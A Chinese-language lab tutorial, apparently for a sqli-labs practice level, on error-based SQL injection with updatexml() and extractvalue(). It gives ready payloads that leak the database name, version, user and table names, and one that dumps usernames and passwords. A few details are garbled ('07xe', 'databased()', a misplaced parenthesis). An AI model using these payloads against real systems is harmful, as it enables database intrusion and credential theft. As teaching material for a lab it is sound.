一:判断输入类型
首先测试 ?id=1
回显You are in...
渐进测试?id=1'
报错分析:
出现引号提示——“”,可能是字符型
继续测试?id=1'--+(用注释符修复了语法错误)
回显You are in...
说明就是字符型
因为能用注释符修复单引号导致的错误 → 证明原始SQL有单引号 → 就是字符型注入
所以注入类型为字符型,单引号闭合
二:.判断有几列
?id=1'order by 3--+ //页面回显you are in...
?id=1'order by 4--+ //报错如下
三:报错注入
介绍两个核心报错函数:
1.updatexml()函数
updatexml(XML文档, XPath路径, 新值)
XML是标记语言,类似html但更通用,XPath是XML的查询语言,就像SQL用于查询数据库,XPath用于在XML文档中查找信息
我们通过故意制造错误,让第二个参数XPath不合法,从而在报错信息里面得到我们想要的数据
举个栗子~在这一关里面,我们输入如下
?id=-1' and updatexml(1,concat(0x7e,database()),1)--+
ps:0x7e是ASCll字符中~(波浪号)的表示
select database() 执行:返回当前的数据库名security
concat(07xe,(select databased()))执行:就是~security,便于观察
MySQL尝试将~security 作为XPath路径 → 语法错误!产生报错XPATH syntax error: '~security'
得到数据库名:security
但是我们再updatexml查询表中数据的时候,会出现查询数据不完整的情况,这时候可以用两个子句
(1):LIMIT子句——控制数据提取
当报错注入只能显示部分数据时(通常小于32个字符),用LIMIT分批次获取:
例如:
# 获取第一个表名
?id=1' and updatexml(1,concat(0x7e,
(select table_name from information_schema.tables
where table_schema=database() limit 0,1)
),1)--+
# 获取第二个表名
?id=1' and updatexml(1,concat(0x7e,
(select table_name from information_schema.tables
where table_schema=database() limit 1,1)
),1)--+
limit的第一个参数是起始位置,从0开始,第二个参数是每次取几条记录
(2):group concat()函数+substr:合并多行数据
示例:
-- 第一次获取前30个字符
?id=1' and updatexml(1,
concat(0x7e,
substr(
(select group_concat(table_name separator '|')
from information_schema.tables
where table_schema=database()
,1,30)
),1
)--+
-- 第二次获取31-60字符
?id=1' and updatexml(1,
concat(0x7e,
substr(
(select group_concat(table_name separator '|')
from information_schema.tables
where table_schema=database()
,31,30)
),1
)--+
2.extractvalue()函数
?id=-1' and extractvalue(XML文档, XPath路径)
同上:XPath路径是关键攻击点,通过故意构造非法XPath路径,使得报错信息中包含我们所需要的信息
拿数据库版本和当前用户举例子
# 获取数据库版本
?id=1' and extractvalue(1,concat(0x7e,version()))--+
# 获取当前用户
?id=1' and extractvalue(1,concat(0x7e,user()))--+
获取数据库表名:
第一次输入:
?id=1' and updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,32)),1)--+
第二次输入(如果第一次结果不完整):
?id=1' and updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),33,32)),1)--+
获取users表的数据
?id=1%27%20and%20updatexml(1,concat(0x7e,(select%20concat(username,%27:%27,password)%20from%20users%20limit%200,1)),1)%20--+